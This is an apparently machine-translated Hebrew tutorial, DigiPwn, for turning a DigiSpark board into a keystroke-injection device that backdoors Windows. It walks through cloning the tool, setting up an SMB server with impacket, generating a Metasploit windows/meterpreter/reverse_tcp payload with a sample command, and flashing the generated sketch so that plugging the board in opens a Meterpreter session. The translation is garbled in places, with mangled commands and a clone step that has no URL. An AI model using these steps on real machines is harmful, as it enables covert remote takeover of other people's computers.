DigiPwn: 5 שלבים

2024 מְחַבֵּר: John Day | [email protected]. שונה לאחרונה: 2024-01-30 09:14

אז מה אנחנו עושים כאן?

DigiSpark הוא כלי פיתוח קטן מבוסס Arduino שיכול לשמש כקלט מקלדת HID. היום אנו מניפולציות במכשיר זה לדלת אחורית של מערכת הפעלה של Windows!

אספקה

Arduino IDE

מכונת חלונות

DigiSpark

מסגרת Metasploit

פייתון 2.7 (הערה: אתה צריך פייתון "2.7" לא מתאים לגרסה אחרת)

חסום

מוֹחַ! זה עוזר

שלב 1: שיבוט מאגר DigiPwn

שיבוט למאגר GitHub של DigiPwn by

שיבוט git

כעת שנה את הספרייה ל- DigiPwn על ידי

תקליטור DigiPwn/

שלב 2: התקן את Impacket [מודולים הנדרשים על ידי Python]

מודול זה נדרש להפעלת שרת SMB הנדרש עבור ספריית מטען

sudo apt-get להתקין python-impacket

או שאתה יכול להוריד את ספריית impacket ולהתקין אותה מכאן.

שלב 3: מאפשר ליצור את המטען

לָרוּץ

python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [פורמט]

לְשֶׁעָבַר

python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs

כעת תישאל אם להפעיל את הערימה ושרת ה- SMB. הקש y והקש enter

שלב 4: כעת העלה את הקוד ל- Arduino

לפני שאנחנו מעלים עלינו לוודא שלוח DigiSpark מותקן בארדואינו לשם כך.

לאחר מכן העלה את הקובץ keystroke_inject.ino שנוצר על ידי התסריט. לאחר שתסיים אתה מוכן

שלב 5: הגיע הזמן לחבר את התינוק

חבר את DigiSpark שלך כעת והמתן 10 שניות

בום נפתחה פגישת מטרים!